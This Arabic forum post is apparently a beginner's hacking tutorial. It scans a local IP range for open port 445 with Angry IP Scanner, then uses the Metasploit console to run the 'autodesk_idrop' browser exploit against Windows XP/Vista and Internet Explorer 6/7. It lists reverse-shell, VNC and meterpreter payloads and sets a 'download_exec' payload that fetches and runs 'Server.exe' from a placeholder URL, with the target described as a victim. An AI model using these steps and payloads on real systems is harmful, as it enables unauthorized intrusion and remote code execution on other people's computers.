كما وعدناكم مع دروسنا الشيقة : إأدخل مبتدئ أخرج محترف في الإقتحام والفحص الابي

[rss]

كيفك يا جميل

انشالله تكون بألف خير

رمضان كريم

أولاً لك

ولجميع المسلمين والمسلمات

:27:

أما بعد أخي الكريم

أولاً وقبل كل شي

لزم تعرف أنا هاد الموضوع عملتو للمبتدئين ب Penetring And ExploitinG

لي يعرف شويء بالإقتحام يغلق الموضوع

هه

تعالى هون مرحبا بك :35:

المهم

:)



أول شي لزم تتوفر على برنامج

ANGRY iP Scanner

أو تقدر تفحص بعدة طرق وأدوات

Nmap

Znmap

إلخ ....

راح أعتمد على هاد البرنامج المحبوب عند المبتدئين :)

نفتح البرنامج



ده واجهت البرنامج

تانياً

نبحت عن الابيات المصابة

لكن قبل

لزم نعرف الابي تبعنا لكي نملأها داخل البرنامج الأول

start

Executer

Cmd

Ipconfig


توضيح أكتر :)



ملاحضة

الابي للازم هو:

192.168.1.5

اكتب بالمربع الأول

192.168.1.1

والمربع التاني

192.168.1.255

تمام :)



نضغط OptioN

Select PorT



بعدين نكتب البورت المراد فحصو !

بما أنه موضوع للمبتدئين

راح تبدأ ببورت

445

في عدة بورتات للإستغلال

21

32

45

4445

راح يتم شرحها في مواضيع مقبلة انشالله

:35:

طيب يا جميل اكتب 445



تمام انقر Start



جميل

الأن راح يعطيك 3 دوائر ب-3 ألوان مختلفةالأول



شغال :)


التاني



شغال لكن البورت 445 مقفل

التالت



باين من لونو :)

:35:

تمام الأن راح نستغل

إفتح Console



إنقر



نبحت عن تغرة المناسبة أنا راح اختار تغرة Xml

حسب رغبة :)



نضغط على المحدد بلون الأحمر

تم نختار



نشرح هي العبارة لاخونا المبتدئين

Windows Xp SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0.2 $ IE 7.0

Windows Xp SP0-SP3 = تشتغل على إكسبي من سرفيس بك 0 إلى 3

Windows Vista SP0-SP1 = تشتغل على فيستا من سرفيس بك 0 إلى 1

IE 6.0 £ IE 7.0 = تشتغل على الإكسبلوتر السادس والسابع

تمام نضغط عليها



ننسخ المحدد بلأحمر

نروح

Console



الموجود بهاد شريط



طيب يا حلو

من هنا راح يتم تشغيل تغرة



نكتب الأمر :

[INFO]use Windows/browser/autodesk_idrop[/INFO]

نضغط Entrer

يطلع لنا



بعدما اخترنا تغرة

نجي نختار البايلود المناسب

Show Payloads

معلومة

[WARNING]Payload = إستغلال [/WARNING]

راح اعطيكم أهم الاستغلالات:

Windows/vncinject/reverse_tcp = فتح سطح المكتب ودوس

Windows/Download_exec = إنزل ملف تنفيدي وتشغيل

Windows/****************l/reverse_tcp = إتصال عكسي مع ضحية وفتح دوس

Windows/meterpreter/reverse_tcp = ملفات ضاحية وفتح دوس

إلخ إلخ ....

نجرب إستغلال ب

Windows_Download_exec




نكتب set payload windows/download_exec

نضغط إنتر



نضغط Show Options

نكتب set URL WwW.XXXX.cOm/Server.exe



نقتحم Exploit



جميل تم



اتمنى

ينال درس اعجابكم

أخوكم أنس

:35: